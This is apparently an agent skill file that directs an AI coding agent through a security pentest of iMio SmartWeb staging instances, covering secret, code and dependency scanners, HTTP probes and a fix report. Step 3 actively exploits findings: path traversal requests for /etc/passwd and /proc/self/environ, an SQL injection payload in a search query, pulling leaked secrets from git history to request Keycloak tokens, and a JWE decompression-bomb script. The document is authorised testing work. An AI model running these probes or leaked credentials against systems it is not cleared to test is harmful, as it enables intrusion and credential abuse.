| name | security-pentest |
| description | Full security pentest skill for iMio SmartWeb staging instances. Runs all 4 scanners (gitleaks, bandit, semgrep, osv), tests HTTP-level vulnerabilities, attempts active exploitation of confirmed findings on a dedicated scratch instance, and generates fix recommendations with a unified HTML report. Works both as a local Claude Code skill (Bash) and as a platform.claude.com agent system prompt (computer use). |
| user-invocable | true |
SmartWeb Security Pentest
Arguments passed: $ARGUMENTS
Run a full security pentest against a SmartWeb instance: scan the local repo for
vulnerabilities, test HTTP-level exploits against the target URL, actively exploit
confirmed findings on the scratch staging environment, and produce a prioritised
fix report.
This skill is designed for dedicated scratch/test instances with no real user data.
Never run Step 3 (active exploitation) against a production instance.
Parameter: target URL
| Invocation | Target |
|---|
/security-pentest | https://ans.staging.imio.be (default) |
/security-pentest https://my-staging.example.be | Provided URL |
Parse $ARGUMENTS: if non-empty and starts with http, use it as TARGET_URL.
Otherwise default to https://ans.staging.imio.be.
Step 0 — Detect execution environment and confirm target
Determine which tools are available:
If the Bash tool is available → set EXEC_MODE=bash. All commands run directly
via Bash.
If only computer_use is available → set EXEC_MODE=computer_use. Open a
terminal window:
- Take a screenshot first to see the current desktop state
- If a terminal is not already open, launch one: press the keyboard shortcut
(Ctrl+Alt+T on Ubuntu, or right-click desktop → "Open Terminal")
- All subsequent commands are typed into that terminal
Print:
Target URL : $TARGET_URL
Exec mode : $EXEC_MODE
Scan dir : $PWD (local repo)
Report dir : /tmp/pentest-scan/
Create the report directory:
mkdir -p /tmp/pentest-scan
Step 1 — Build iMio package scope and run security scanners
The scan targets only non-vanilla-Plone packages: everything in bin/instance
that is not shipped by a standard Plone release. This is the set iMio is
responsible for — developed, forked, or added beyond the base distribution.
In computer_use mode, write each script to a file, then run it in the terminal
and take a screenshot to confirm completion before proceeding.
1a — Build the iMio package scope
Write the following script to /tmp/pentest-scan/build_scope.py and run it:
"""
Parse bin/instance to get all production packages, fetch the Plone base
package list from dist.plone.org, and write the non-Plone (iMio scope)
packages to /tmp/pentest-scan/scope-reqs.txt.
Also produces:
/tmp/pentest-scan/scope.json — structured scope data used by later steps
/tmp/pentest-scan/scope.txt — human-readable table for review
"""
import re, json, urllib.request, os
REPORT_DIR = "/tmp/pentest-scan"
os.makedirs(REPORT_DIR, exist_ok=True)
pkgs_instance = {}
with open("bin/instance") as f:
for line in f:
m = re.search(
r"/([A-Za-z0-9][\w.\-]+?)-(\d[\w.\-]*?)(?:-py[\d.]+(?:-linux-\w+)?)?\.egg'",
line
)
if m:
name, ver = m.group(1), m.group(2)
norm = name.lower().replace("_", "-")
pkgs_instance[norm] = {"name": name, "version": ver}
print(f"Packages in bin/instance: {len(pkgs_instance)}")
plone_ver = "6.1.4"
for norm, info in pkgs_instance.items():
if norm == "plone" and re.match(r"\d+\.\d+", info["version"]):
plone_ver = info["version"]
break
if norm == "products-cmfplone":
plone_ver = info["version"]
break
print(f"Plone version detected: {plone_ver}")
plone_base = set()
def fetch_versions_cfg(url):
"""Parse a buildout versions.cfg and return a set of normalised package names."""
try:
with urllib.request.urlopen(url, timeout=15) as r:
content = r.read().decode(errors="replace")
names = set()
for m in re.finditer(r'^([A-Za-z0-9][\w.\-]+?)\s*=\s*\S', content, re.MULTILINE):
names.add(m.group(1).lower().replace("_", "-"))
return names
except Exception as e:
print(f" WARN: could not fetch {url}: {e}")
return set()
base = f"https://dist.plone.org/release/{plone_ver}"
for fname in ["versions.cfg", "versions-ecosystem.cfg", "versions-extra.cfg"]:
before = len(plone_base)
plone_base |= fetch_versions_cfg(f"{base}/{fname}")
print(f" {fname}: +{len(plone_base)-before} → {len(plone_base)} base packages")
zope_ver = pkgs_instance.get("zope", {}).get("version", "5.13")
plone_base |= fetch_versions_cfg(
f"https://zopefoundation.github.io/Zope/releases/{zope_ver}/versions.cfg"
)
print(f" Zope {zope_ver} versions.cfg: → {len(plone_base)} total base packages")
scope = {k: v for k, v in pkgs_instance.items() if k not in plone_base}
print(f"\nNon-Plone (iMio scope) packages: {len(scope)} / {len(pkgs_instance)}")
src_dirs = {}
if os.path.isdir("src"):
for entry in os.listdir("src"):
src_path = os.path.join("src", entry)
if not os.path.isdir(src_path):
continue
norm = entry.lower().replace("_", "-")
if norm in scope:
src_dirs[norm] = src_path
else:
for sk in scope:
if sk.startswith(norm) or norm.startswith(sk.replace(".", "-")):
src_dirs[sk] = src_path
break
print(f"Packages with source in src/: {len(src_dirs)}")
for n, p in sorted(src_dirs.items()):
print(f" {n} → {p}")
with open(f"{REPORT_DIR}/scope-reqs.txt", "w") as f:
for norm, info in sorted(scope.items()):
f.write(f"{info['name']}=={info['version']}\n")
with open(f"{REPORT_DIR}/scope.json", "w") as f:
json.dump({
"plone_version": plone_ver,
"total_instance_packages": len(pkgs_instance),
"base_plone_packages": len(plone_base),
"scope_packages": len(scope),
"packages": scope,
"src_dirs": src_dirs,
}, f, indent=2)
with open(f"{REPORT_DIR}/scope.txt", "w") as f:
f.write(f"iMio scope: {len(scope)} packages (Plone {plone_ver} base excluded)\n")
f.write(f"{'Package':<50} {'Version':<20} {'Source'}\n")
f.write("─" * 90 + "\n")
for norm, info in sorted(scope.items()):
src = src_dirs.get(norm, "egg only")
f.write(f"{info['name']:<50} {info['version']:<20} {src}\n")
print(f"\nScope written to {REPORT_DIR}/scope.json")
print(f"Requirements written to {REPORT_DIR}/scope-reqs.txt")
Run it:
python3 /tmp/pentest-scan/build_scope.py
Review the scope table:
cat /tmp/pentest-scan/scope.txt
1b — Gitleaks (committed secrets — full git history)
if ! command -v gitleaks &>/dev/null; then
GITLEAKS_VERSION="8.21.2"
curl -sSL "https://github.com/gitleaks/gitleaks/releases/download/v${GITLEAKS_VERSION}/gitleaks_${GITLEAKS_VERSION}_linux_x64.tar.gz" \
| tar -xz -C /tmp gitleaks
export PATH="/tmp:$PATH"
fi
gitleaks git . --report-format json \
--report-path /tmp/pentest-scan/gitleaks.json \
--redact --exit-code 0
1c — Bandit (Python — iMio source packages only)
Read src_dirs from /tmp/pentest-scan/scope.json and scan only those directories:
python3 -c "
import json, subprocess, sys, os
scope = json.load(open('/tmp/pentest-scan/scope.json'))
src_dirs = list(scope['src_dirs'].values())
if not src_dirs:
print('No source packages in scope — skipping Bandit')
sys.exit(0)
# Find the Python source root inside each src dir (src/<pkg>/src/ or src/<pkg>/)
targets = []
for d in src_dirs:
inner = os.path.join(d, 'src')
targets.append(inner if os.path.isdir(inner) else d)
print('Bandit targets:', targets)
cmd = ['uvx', 'bandit', '-r'] + targets + ['-f', 'json', '-o', '/tmp/pentest-scan/bandit.json', '--exit-zero']
subprocess.run(cmd)
"
1d — Semgrep (iMio source packages only)
python3 -c "
import json, subprocess, sys, os
scope = json.load(open('/tmp/pentest-scan/scope.json'))
src_dirs = list(scope['src_dirs'].values())
if not src_dirs:
print('No source packages in scope — skipping Semgrep')
sys.exit(0)
targets = []
for d in src_dirs:
inner = os.path.join(d, 'src')
targets.append(inner if os.path.isdir(inner) else d)
cmd = ['uvx', 'semgrep', 'scan', '--config', 'auto',
'--exclude', 'node_modules', '--exclude', '.git',
'--json', '--output', '/tmp/pentest-scan/semgrep.json'] + targets
subprocess.run(cmd)
"
1e — OSV-Scanner (CVEs for all non-Plone packages)
if ! command -v osv-scanner &>/dev/null; then
curl -sSL "https://github.com/google/osv-scanner/releases/download/v1.9.2/osv-scanner_linux_amd64" \
-o /tmp/osv-scanner && chmod +x /tmp/osv-scanner
export PATH="/tmp:$PATH"
fi
osv-scanner scan \
--lockfile /tmp/pentest-scan/scope-reqs.txt \
--format json \
--output /tmp/pentest-scan/osv.json || true
1f — Parse all results and print summary
Write the following to /tmp/pentest-scan/parse_findings.py and run it:
import json, re, os
REPORT_DIR = "/tmp/pentest-scan"
SEV_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3}
def gitleaks_sev(rule_id):
r = (rule_id or "").lower()
if re.search(r"aws-|gcp-|azure-|github-|gitlab-|stripe-|private-key|slack-", r):
return "critical"
if re.search(r"generic-api-key|jwt|client-secret", r):
return "high"
return "low"
def osv_sev(vuln, groups):
vid = vuln.get("id", "")
for g in groups:
if vid in g.get("ids", []):
ms = g.get("max_severity", "").upper()
return {"CRITICAL":"critical","HIGH":"high","MODERATE":"medium","LOW":"low"}.get(ms, "low")
for s in vuln.get("severity", []):
try:
score = float(s.get("score", 0))
if score >= 9: return "critical"
if score >= 7: return "high"
if score >= 4: return "medium"
except: pass
return "low"
def count(findings):
c = {"critical": 0, "high": 0, "medium": 0, "low": 0}
for f in findings: c[f["severity"]] += 1
return c
def load_json(path, default):
try:
return json.load(open(path))
except:
return default
gl_raw = load_json(f"{REPORT_DIR}/gitleaks.json", []) or []
gl_findings = [{
"severity": gitleaks_sev(i.get("RuleID", "")),
"rule": i.get("RuleID", ""),
"file": i.get("File", ""),
"line": i.get("StartLine", "—"),
"detail": i.get("Description", ""),
"commit": i.get("Commit", "")[:8],
} for i in gl_raw]
ba_raw = load_json(f"{REPORT_DIR}/bandit.json", {"results": []})
ba_findings = [{
"severity": i.get("issue_severity", "LOW").lower(),
"rule": f"{i.get('test_id','')} {i.get('test_name','')}".strip(),
"file": i.get("filename", ""),
"line": i.get("line_number", "—"),
"detail": i.get("issue_text", ""),
"confidence": i.get("issue_confidence", ""),
} for i in ba_raw.get("results", [])]
sm_raw = load_json(f"{REPORT_DIR}/semgrep.json", {"results": []})
sm_findings = [{
"severity": {"ERROR":"high","WARNING":"medium","INFO":"low"}.get(
i.get("extra",{}).get("severity","INFO").upper(), "low"),
"rule": i.get("check_id","").split(".")[-1],
"file": i.get("path",""),
"line": i.get("start",{}).get("line","—"),
"detail": i.get("extra",{}).get("message",""),
} for i in sm_raw.get("results", [])]
osv_raw = load_json(f"{REPORT_DIR}/osv.json", {"results": []})
osv_findings = []
for r in osv_raw.get("results", []):
for pkg in r.get("packages", []):
pn = pkg.get("package", {}).get("name", "")
pv = pkg.get("package", {}).get("version", "")
groups = pkg.get("groups", [])
for vuln in pkg.get("vulnerabilities", []):
osv_findings.append({
"severity": osv_sev(vuln, groups),
"rule": vuln.get("id", ""),
"file": f"{pn}@{pv}",
"line": "—",
"detail": vuln.get("summary", ""),
"aliases": vuln.get("aliases", []),
})
for findings in [gl_findings, ba_findings, sm_findings, osv_findings]:
findings.sort(key=lambda f: SEV_ORDER.get(f["severity"], 9))
all_findings = {
"gitleaks": gl_findings,
"bandit": ba_findings,
"semgrep": sm_findings,
"osv": osv_findings,
}
with open(f"{REPORT_DIR}/findings.json", "w") as f:
json.dump(all_findings, f, indent=2)
all_scanners = [("Gitleaks", gl_findings), ("Bandit", ba_findings),
("Semgrep", sm_findings), ("OSV", osv_findings)]
total = sum(len(f) for _, f in all_scanners)
scope = load_json(f"{REPORT_DIR}/scope.json", {})
print(f"\nPlone {scope.get('plone_version','?')} base excluded. "
f"Scanning {scope.get('scope_packages','?')} iMio-scope packages.\n")
print(f"{'Scanner':<12} {'Critical':>8} {'High':>6} {'Medium':>8} {'Low':>5} {'Total':>6}")
print("─" * 52)
for name, findings in all_scanners:
c = count(findings)
print(f"{name:<12} {c['critical']:>8} {c['high']:>6} {c['medium']:>8} {c['low']:>5} {len(findings):>6}")
print("─" * 52)
print(f"{'TOTAL':<12} {'':>8} {'':>6} {'':>8} {'':>5} {total:>6}")
print(f"\nNormalised findings saved to {REPORT_DIR}/findings.json")
urgent = [f for lst in [gl_findings, ba_findings, sm_findings, osv_findings]
for f in lst if f["severity"] in ("critical","high")]
if urgent:
print(f"\n⚠ {len(urgent)} critical/high finding(s) requiring attention:\n")
for f in sorted(urgent, key=lambda x: SEV_ORDER[x["severity"]]):
loc = f"{f['file']}:{f['line']}" if f['line'] != '—' else f['file']
print(f" [{f['severity'].upper():8}] {f['rule']}")
print(f" {loc}")
print(f" {f['detail'][:100]}")
print()
python3 /tmp/pentest-scan/parse_findings.py
The normalised findings are saved to /tmp/pentest-scan/findings.json for use
in Steps 2–4.
Step 2 — HTTP exploitation: non-destructive checks
Run each check against $TARGET_URL. In computer_use mode, use curl in the
terminal or open the browser to test URLs and take screenshots of the results.
2a — Security headers audit
curl -sI "$TARGET_URL" | grep -iE "strict-transport|content-security|x-frame|x-content-type|x-powered-by|server:"
Report missing headers as findings:
Content-Security-Policy missing → medium
X-Content-Type-Options missing → low
X-Powered-By or Server present → low (technology disclosure)
2b — Sensitive file exposure
for path in /.env /.envrc /docker-compose.yml /.git/HEAD /buildout.cfg /versions.cfg /base.cfg; do
code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 "$TARGET_URL$path")
[ "$code" != "404" ] && echo "EXPOSED [$code]: $TARGET_URL$path" || echo "safe [404]: $path"
done
Any non-404 response → critical finding.
2c — Mako path traversal (GHSA-v92g-xgxw-vvmm)
for uri in "//etc/passwd" "//etc/hosts" "//proc/self/environ" "//../../../../etc/passwd"; do
code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 "$TARGET_URL/$uri")
body=$(curl -s --max-time 5 "$TARGET_URL/$uri" | head -3)
echo "[$code] $uri → $body"
done
If any response contains root: or /bin/bash → critical (path traversal confirmed).
2d — REST API endpoint enumeration
curl -s -H "Accept: application/json" "$TARGET_URL/" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print('Portal type:', d.get('@type','?'))
print('Components:', list(d.get('@components',{}).keys()))
" 2>/dev/null
Check for unauthenticated access to sensitive endpoints:
for ep in /@users /@groups /@registry /@controlpanel /@login; do
code=$(curl -s -o /dev/null -w "%{http_code}" -H "Accept: application/json" --max-time 5 "$TARGET_URL$ep")
echo "[$code] $ep"
done
200 on /@users or /@registry without auth → high.
2e — Auth bypass on @@authenticator
curl -s "$TARGET_URL/@@authenticator" | grep -i "token\|csrf\|next\|came_from" | head -5
Print a summary table of all Step 2 results.
Step 3 — Active exploitation of confirmed findings
Prerequisite: Only proceed if the target is confirmed as a scratch/test instance
(no real user data). The default https://ans.staging.imio.be qualifies.
3a — Extract and test leaked credentials (from Gitleaks/Semgrep findings)
For each Gitleaks finding, retrieve the actual secret value from git history:
git show <COMMIT_HASH>:.env | grep -i "secret\|key\|password\|token"
Replace <COMMIT_HASH> with the commit hash from each Gitleaks finding.
For Keycloak client secrets found: attempt a client_credentials token request
to confirm the secret is still valid:
KEYCLOAK_URL="<keycloak_url from finding>"
REALM="<realm from finding>"
CLIENT_ID="<client_id from finding>"
CLIENT_SECRET="<client_secret from finding>"
curl -s -X POST "$KEYCLOAK_URL/realms/$REALM/protocol/openid-connect/token" \
-d "grant_type=client_credentials" \
-d "client_id=$CLIENT_ID" \
-d "client_secret=$CLIENT_SECRET" | python3 -c "
import json,sys
d=json.load(sys.stdin)
if 'access_token' in d:
print('CONFIRMED EXPLOITABLE: token obtained')
print(' Token type:', d.get('token_type'))
print(' Expires in:', d.get('expires_in'), 'seconds')
print(' Scope:', d.get('scope',''))
# Do NOT use the token further
else:
print('NOT EXPLOITABLE:', d.get('error_description', d.get('error', '?')))
"
Report: EXPLOITED if a token is obtained, NOT EXPLOITABLE otherwise.
3b — pg8000 SQL injection probe (GHSA-wq2g-r956-j8cc)
Identify REST endpoints that might trigger pg8000 list-parameter paths:
curl -s -H "Accept: application/json" "$TARGET_URL/@search?portal_type[]=Document&portal_type[]=News+Item" | head -5
The vulnerability triggers when a Python list is passed directly as a pg8000
query parameter. Test with a crafted list-shaped payload:
curl -s -H "Accept: application/json" \
"$TARGET_URL/@search?SearchableText[]='; SELECT version(); --&SearchableText[]=test" \
-o /tmp/pentest-scan/pg8000-test.json
python3 -c "
import json
d = json.load(open('/tmp/pentest-scan/pg8000-test.json'))
text = str(d)
if 'PostgreSQL' in text or 'syntax error' in text or 'pg8000' in text.lower():
print('EXPLOITED: SQL error or version disclosure in response')
elif 'error' in text.lower():
print('PARTIAL: error response — manual investigation needed')
else:
print('NOT EXPLOITABLE via this endpoint')
print('Response preview:', text[:200])
"
3c — jwcrypto decompression bomb (GHSA-fjrm-76x2-c4q4)
Find JWT-accepting endpoints (Keycloak-protected routes):
curl -sI "$TARGET_URL/@@login" | grep -i "www-authenticate\|keycloak"
curl -sI "$TARGET_URL/@@keycloak-login" -o /dev/null -w "%{http_code} %{redirect_url}\n"
If a JWT endpoint is found, craft a minimal JWE token with a compressed payload
to test the decompression bomb:
python3 -c "
from jwcrypto import jwk, jwe
import json, os
# Generate a throwaway key pair
key = jwk.JWK.generate(kty='RSA', size=2048)
# Craft a payload that expands significantly when decompressed
payload = b'A' * 10000 # simple repetitive payload
protected = {'alg': 'RSA-OAEP', 'enc': 'A256GCM', 'zip': 'DEF'}
token = jwe.JWE(payload, json.dumps(protected))
token.add_recipient(key)
print('JWE token (send to JWT endpoint):', token.serialize(compact=True)[:100], '...')
" 2>/dev/null || echo "jwcrypto not available in local env — test requires manual setup"
Report whether the endpoint accepts the token and if response time indicates
decompression (>500ms suggests possible DoS vector).
3d — MD5 hash weakness (Bandit B324 — imio.smartweb.common/rest/utils.py:50)
The hash_md5() function is used for cache keys, not password hashing, so
collision attacks don't apply here. Document this as a false positive in the
security context:
grep -n "hash_md5\|hashlib.md5" src/imio.smartweb.common/src/imio/smartweb/common/rest/utils.py
grep -rn "hash_md5" src/imio.smartweb.core/src/imio/smartweb/core/ | head -10
If MD5 is used for cache keys only: mark as low / informational (no security
impact). If used for integrity checks or authentication: high.
Step 4 — Fix recommendations
For each confirmed finding from Steps 2–3, output a fix block:
┌─ [SEVERITY] RULE_ID ──────────────────────────────────────────────
│ File: path/to/file:line
│ Finding: one-line description
│
│ Fix: exact change to make (code snippet or config line)
│
│ Verify: command to confirm the fix worked
└────────────────────────────────────────────────────────────────────
Standard fixes for known findings in this codebase:
| Finding | Fix |
|---|
Committed .env secret | echo '.env' >> .gitignore + git filter-repo --path .env --invert-paths + rotate the secret in Keycloak |
| pg8000 1.31.2 SQL injection | versions.cfg: change pg8000 = 1.31.2 → pg8000 = 1.31.3 |
| mako 1.3.10 path traversal | versions.cfg: bump mako to latest patched version |
| Missing CSP header | Add plone.app.caching CSP rule or configure Varnish/nginx to inject the header |
| X-Powered-By disclosure | Configure Varnish to strip the header: unset beresp.http.X-Powered-By |
| MD5 for cache keys | Add usedforsecurity=False parameter: hashlib.md5(text.encode(), usedforsecurity=False) |
Step 5 — Final HTML report
Generate a self-contained HTML report at /tmp/pentest-report.html.
The report extends the scan-security-report HTML template with an extra
Exploitation column in the summary table showing one of:
✅ Confirmed (red badge) — actively exploited in Step 3
⚠ Partial (orange badge) — response suggests vulnerability but not fully confirmed
❌ Not exploitable (green badge) — test ran, finding is a false positive
— Not tested (grey badge) — requires server access or manual testing
Write the report using the same Python HTML generation approach as
scan-security-report (self-contained, inline CSS, details/summary collapsible
sections per scanner, findings table sorted critical→low).
Print on completion:
Pentest report written to: /tmp/pentest-report.html
Gitleaks: N findings [Exploited: X Not exploitable: Y Not tested: Z]
Semgrep: N findings ...
Bandit: N findings ...
OSV-Scanner: N findings ...
Open: xdg-open /tmp/pentest-report.html (Linux)
open /tmp/pentest-report.html (macOS)
Platform agent usage note
The content of this file from Step 0 onwards (everything below the frontmatter)
can be pasted directly as the system prompt for a platform.claude.com agent
with computer use enabled. The EXEC_MODE=computer_use branch handles all
tool differences automatically — the agent opens a terminal, types commands,
and takes screenshots to verify results.
Recommended agent configuration on platform.claude.com:
- Tools: computer use (required), web fetch (optional)
- System prompt: paste Steps 0–5 verbatim
- First message to send:
run security pentest on https://ans.staging.imio.be